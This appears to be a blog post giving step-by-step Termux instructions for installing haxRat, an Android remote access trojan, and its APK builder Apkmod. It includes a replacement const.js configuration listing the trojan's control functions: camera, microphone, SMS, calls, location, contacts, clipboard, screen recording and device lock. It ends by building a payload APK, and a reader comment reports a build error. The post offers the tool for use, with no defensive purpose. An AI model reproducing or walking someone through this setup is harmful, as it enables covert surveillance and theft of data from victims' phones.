Install haxrat in 2022 without any errors in termux

 Hi guys welcome to the blog.In this blog post we are going to install haxrat in termux without getting any errors.

Installation 

First of all install the termux app from F-Droid .
Update and upgrade the termux
apt-get update && apt-get upgrade 

Install the git package

apt install git 

We have to install the apkmod in order to build the payload.So let's clone the apkmod repository.

git clone https://github.com/Hax4us/Apkmod 

Change directory to Apkmod 

cd Apkmod 

 Give executable permission to setup.sh file.

chmod +x setup.sh

Run the setup.sh file.It will take a while depending on the internet connection speed you have.

./setup.sh

 Change directory to home.

cd ..

Now let's clone the haxrat repository.

git clone https://github.com/Hax4us/haxRat.git

Install packages that are required to run haxrat.

Install the nodejs and npm older version.

apt install nodejs -y && npm install -g npm@6.14.10 

Go to the directory haxRat/server.

cd haxRat/server

 Install express package.

npm install express 

Run the haxrat server.

node index.js 

Open browser and paste the localhost link.

http://localhost:22533  

haxrat webpage will open.Now open new tab and search for md5hash generator.Opem the first link and enter the a password.We will use this password to login in haxrat webpage.after enter a password click on generate now we will get hash of the password we have entered .Copy that and open termux stop the server by pressing CTRL+C. Edit the maindb.json file.

nano maindb.json 

Replace the parameter of password with the hash you have copied.It will be look like this.

"password": "yourhash", 

 Save it by pressing CTRL+s and CTRL+X to exit.

Now change the directory to includes.

cd includes 

Type ls here you can see const.js file we have to edit this file to solve the payload build errors.

nano const.js

Remove everything and paste the code give below


const path = require('path');

exports.debug = false;

exports.web_port = 22533;
exports.control_port = 22222;

// Paths

exports.termux = '/data/data/com.termux/files/home'
exports.apkBuildPath = path.join(__dirname, '../assets/webpublic/build.apk')
exports.apkSignedBuildPath = path.join(__dirname, '../assets/webpublic/haxRat.apk')

exports.termuxApkBuildPath = exports.termux + '/haxRat/build.apk'
exports.termuxApkSignedBuildPath = exports.termux + '/haxRat/haxRat.apk'

exports.downloadsFolder = '/client_downloads'
exports.downloadsFullPath = path.join(__dirname, '../assets/webpublic', exports.downloadsFolder)

exports.apkTool = path.join(__dirname, '../app/factory/', 'apktool.jar');
exports.apkSign = path.join(__dirname, '../app/factory/', 'sign.jar');
exports.smaliPath = path.join(__dirname, '../app/factory/decompiled');
exports.patchFilePath = path.join(exports.smaliPath, '/smali/com/hax4us/haxrat/IOSocket.smali');

exports.termuxBuildCommand = 'apkmod' + ' -r '+' -i "' + exports.smaliPath + '" -o "' + exports.termuxApkBuildPath + '"';
exports.termuxSignCommand = 'apkmod -s '+' -i "' + exports.termuxApkBuildPath + '"' + ' -o ' + '"' + exports.termuxApkSignedBuildPath + '"' ;

exports.buildCommand = 'java -jar "' + exports.apkTool + '" b "' + exports.smaliPath + '" -o "' + exports.apkBuildPath + '"';
exports.signCommand = 'java -jar "' + exports.apkSign + '" "' + exports.apkBuildPath + '"'; 


exports.messageKeys = {
    camera: '0xCA',
    files: '0xFI',
    call: '0xCL',
    sms: '0xSM',
    mic: '0xMI',
    location: '0xLO',
    contacts: '0xCO',
    wifi: '0xWI',
    notification: '0xNO',
    clipboard: '0xCB',
    installed: '0xIN',
    permissions: '0xPM',
    gotPermission: '0xGP',
    lockDevice: '0xLD',
    screenShot: '0xSS',
    screenRecord: '0xSR',
    rearCam: '0xRC',
    frontCam: '0xFC'
}

exports.logTypes = {
    error: {
        name: 'ERROR',
        color: 'red'
    },
    alert: {
        name: 'ALERT',
        color: 'amber'
    },
    success: {
        name: 'SUCCESS',
        color: 'limegreen'
    },
    info: {
        name: 'INFO',
        color: 'blue'
    }
}

After pasting the above code save the file by pressing CTRL+S and CTRL+X to exit.Now got to previous directory.

cd .. 

run haxrat webserver.

node index.js

 Open browser and navigate to localhost.

http://localhost:22533 

login with the username of admin and with your password.We had setup everything.Now let's test by building the payload.Go to builder section and enter ip of 127.0.0.1 thend click on build.Wait until payload gets builded. That it's for today guys.


1 Comments

  1. There is an error after the build below

    Error: ENOENT: no such file or directory, stat '/data/data/com.termux/files/home/haxrat/haxRat.apk

    ReplyDelete
Post a Comment
Previous Post Next Post